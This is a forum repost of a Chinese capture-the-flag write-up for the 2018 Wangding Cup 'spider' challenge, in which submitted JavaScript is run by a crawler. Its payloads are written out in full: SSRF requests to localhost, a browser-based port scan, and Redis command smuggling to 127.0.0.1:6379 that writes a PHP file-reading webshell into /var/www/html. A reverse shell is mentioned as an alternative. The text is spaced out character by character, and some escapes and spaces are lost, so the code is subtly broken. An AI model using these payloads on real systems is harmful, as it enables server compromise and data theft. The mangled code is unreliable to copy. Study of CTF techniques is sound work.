搜索

[19393] 2018-08-20_网鼎杯第一场spider题详细writeup

文档创建者：s7ckTeam
浏览次数：21
最后更新：2025-01-18
2018-08-20_网鼎杯第一场spider题详细writeup 网 鼎 杯 第 一 场 s p i d e r 题 详 细 w r i t e u p i 春 秋   2 0 1 8 - 0 8 - 2 0 访 问 首 页 收 集 信 息 ， 访 问 r o b o t s . t x t 访 问 该 U R L 尝 试 各 种 伪 造 I P   无 果 :   ) 回 到 首 页 来 ， 通 过 各 种 折 腾 ， 知 道 这 个 爬 虫 分 析 是 动 态 分 析 ， 会 执 行 J S 代 码 。 构 造 一 个 H T M L 。
< a   h r e f = " "   i d = " f l a g " > t e s t < / a > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > f u n c t i o n   l o a d X M L D o c ( ) { v a r   x m l h t t p ; i f   ( w i n d o w . X M L H t t p R e q u e s t )     { / /   c o d e   f o r   I E 7 + ,   F i r e f o x ,   C h r o m e ,   O p e r a ,   S a f a r i     x m l h t t p = n e w   X M L H t t p R e q u e s t ( ) ;     } e l s e     { / /   c o d e   f o r   I E 6 ,   I E 5     x m l h t t p = n e w   A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ;     } x m l h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( )     {     i f   ( x m l h t t p . r e a d y S t a t e = = 4   & &   x m l h t t p . s t a t u s = = 2 0 0 )         {         d o c u m e n t . g e t E l e m e n t B y I d ( " f l a g " ) . i n n e r H T M L = x m l h t t p . r e s p o n s e T e x t ;         }     } x m l h t t p . o p e n ( " G E T " , " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 / g e t _ s o u r c e c o d e " , t r u e ) ; x m l h t t p . s e n d ( ) ; } l o a d X M L D o c ( ) ; < / s c r i p t > 执 行 A J A X 请 求 ， 并 把 结 果 动 态 赋 到 i d 为 f l a g 的 a 标 签 里 ， 随 之 输 出 出 来 。 拿 到 源 代 码
得 到 H I N T ： 过 滤 了 d b f i l e n a m e ， 可 知 是 r e d i s 相 关 。 构 造 r e d i s   c r o n   s h e l l 失 败 ， 可 能 系 统 是 u b u n t u 等 ， c r o n 不 行 就 尝 试 从 w e b 入 手 。 通 过 J S 端 口 探 测 < a   i d = " r e s u l t " > < / a > < s c r i p t > v a r   d a t a   =   d o c u m e n t . g e t E l e m e n t B y I d ( ' r e s u l t ' ) . i n n e r H T M L ; v a r   T a g N a m e   =   d o c u m e n t . g e t E l e m e n t s B y T a g N a m e ( " b o d y " ) [ 0 ] ; p o r t s = [ 8 0 , 8 1 , 8 8 , 8 0 0 0 , 8 0 8 0 , 8 0 8 8 ] ; f o r ( v a r   i   i n   p o r t s ) {         v a r   s c r i p t   =       d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ;         p o c   =   " d a t a   + =   ' "       +   p o r t s [ i ]   +   "   O P E N ;   ' ;   d o c u m e n t . g e t E l e m e n t B y I d ( ' r e s u l t ' ) . i n n e r H T M L   =       d a t a ; "             s c r i p t . s e t A t t r i b u t e ( " s r c " , " h t t p : / / 1 2 7 . 0 . 0 . 1 : "   +       p o r t s [ i ] ) ;             s c r i p t . s e t A t t r i b u t e ( " o n l o a d " ,   p o c ) ;         T a g N a m e . a p p e n d C h i l d ( s c r i p t ) ; } < / s c r i p t >
得 到 8 0 0 0 端 口 开 放 着 ， 猜 测 是 a p a c h e 2 等 p h p s e r v e r 构 造 一 个 R e d i s   E X P 。 l e v e l = l o w _ 2 7 3 e a c 1 c < s c r i p t >                       v a r   x m l H t t p ;                       i f ( w i n d o w . X M L H t t p R e q u e s t ) {                                 x m l H t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;                       } e l s e {                     x m l H t t p   =   n e w A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ;                       }                       v a r   f o r m D a t a   =   n e w   F o r m D a t a ( ) ;       f o r m D a t a . a p p e n d ( " 0 " , " f l u s h a l l " + " n " + " c o n f i g   s e t   d i r   / v a r / w w w / h t m l / " + " n " + " c o n f i g s e t d b f i l e n a m e   s h e l l . p h p " + " n " + ' s e t   1   " n n < ? p h p   h e a d e r ( ' A c c e s s - C o n t r o l - A l l o w - O r i g i n : * ' ) ;   e c h o   f i l e _ g e t _ c o n t e n t s ( $ _ G E T [ 0 ] ) ; ? > n n " ' + " n " + " s a v e " + " n " + " q u i t " ) ;                       x m l H t t p . o p e n ( " P O S T " , " h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 3 7 9 " , t r u e ) ;                       x m l H t t p . s e n d ( f o r m D a t a ) ; < / s c r i p t > 因 为 不 同 端 口 ， 所 以 存 在 跨 域 ， 需 要 加 上 A c c e s s - C o n t r o l - A l l o w - O r i g i n : *   头 部 。 （ 或 者 直 接 P H P 反 弹 S H E L L 也 可 以 ） 然 后 再 构 造 一 个 H T M L 。
< a   h r e f = " "   i d = " f l a g " > t e s t < / a > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > f u n c t i o n   l o a d X M L D o c ( ) { v a r   x m l h t t p ; i f   ( w i n d o w . X M L H t t p R e q u e s t )     { / /   c o d e   f o r   I E 7 + ,   F i r e f o x ,   C h r o m e ,   O p e r a ,   S a f a r i     x m l h t t p = n e w   X M L H t t p R e q u e s t ( ) ;     } e l s e     { / /   c o d e   f o r   I E 6 ,   I E 5     x m l h t t p = n e w   A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ;     } x m l h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( )     {     i f   ( x m l h t t p . r e a d y S t a t e = = 4   & &   x m l h t t p . s t a t u s = = 2 0 0 )         {         d o c u m e n t . g e t E l e m e n t B y I d ( " f l a g " ) . i n n e r H T M L = x m l h t t p . r e s p o n s e T e x t ;         }     } x m l h t t p . o p e n ( " G E T " , " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / s h e l l . p h p ? 0 = f l a g . p h p " , t r u e ) ; x m l h t t p . s e n d ( ) ; } l o a d X M L D o c ( ) ; < / s c r i p t > G E T   F L A G
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理